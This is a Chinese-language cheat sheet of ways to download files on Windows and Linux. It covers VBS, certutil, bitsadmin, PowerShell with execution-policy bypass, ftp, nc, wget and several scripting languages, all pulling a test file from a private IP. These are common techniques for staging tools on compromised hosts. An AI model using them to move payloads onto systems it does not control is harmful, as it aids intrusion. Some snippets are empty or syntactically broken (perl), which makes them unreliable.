# 下载文件的几种方式 Linux 下载文件的方式很多, 一般系统自带的 curl wget 就能搞定, 甚至还可以直接在线 apt yum 安装, 也有很多环境例如 Python Ruby Perl Windows 就那么几个, 除了 vbs 和 powershell 以外大都是依赖于 microsoft 官方自带的命令行工具. ## vbs 经典的 `iget.vbs`, 需要一行一行 echo 写. ``` iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0 xPost.Send() set sGet=createObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile iLocal,2 ``` 执行方式 `cscript //nologo iget.vbs http://192.168.1.100/test.txt C:\test.txt` 也可以把 `Wscript.Arguments` 直接替换成 url. ## telnet 前提是机器要支持 telnet ``` server: nc -lvp 2333 < test.txt client: telnet example.com -f C:\test.txt ``` ## ftp `1.txt` ``` open 192.168.1.100 username password bin lcd c:/ get test.txt bye ``` `ftp -s:"C:\1.txt"` ## mshta hta 执行, 其实还是依赖于 vbs ``` ``` 执行方式 `mshta test.hta` ## certutil windows 2003 下的应用程序. 执行方式 ``` certutil -urlcache -split -f http://192.168.1.100/test.txt C:\test.txt certutil -urlcache -split -f http://192.168.1.100/test.txt C:\test.txt delete ``` ## bitsadmin 和 certutil 一样, 但只适用于 windows 7 以上的系统. ``` bitsadmin /rawreturn /transfer getfile http://192.168.1.100/test.txt C:\test.txt ``` ## powershell 以下内容保存为 `get.ps1` ``` $client = new-object System.Net.WebClient $client.DownloadFile('http://192.168.1.100/test.txt', 'C:\test.txt') ``` 执行方式 ``` powershell -ExecutionPolicy Bypass -File .\get.ps1 ``` powershell 3.0 提供了 `Invoke-WebRequest` 方法. 需要绝对路径. ``` Invoke-WebRequest -Uri http://192.168.1.100/test.txt -OutFile C:\test.txt ``` 或者一句话执行. ``` powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.100/test.txt','C:\test.txt') ``` ## wget ``` wget http://192.168.1.100/test.txt -P /root/test.txt ``` ## ftp `1.sh` ``` ftp 192.168.1.100 username password get test.txt exit ``` 执行方式. `bash 1.sh` 或者. `ftpget -u username -P password 192.168.1.100 test.txt` ## nc ``` cat test.txt | nc -l 1234 nc 192.168.1.100 1234 > test.txt ``` ## perl ``` #!/usr/bin/perl use LWP::Simple getstore("http://192.168.1.100/test.txt "/root/test.txt"); ``` ## python ``` #!/usr/bin/python import urllib2 u = urllib2.urlopen('http://192.168.1.100/test.txt') localFile = open('/root/test.txt', 'wb+') localFile.write(u.read()) localFile.close() ``` ## ruby ``` #!/usr/bin/ruby require 'net/http' Net::HTTP.start("192.168.1.100") { |http| r = http.get("/test.txt") open("/root/test.txt", "wb+") { |file| file.write(r.body) } } ``` ## php ``` ```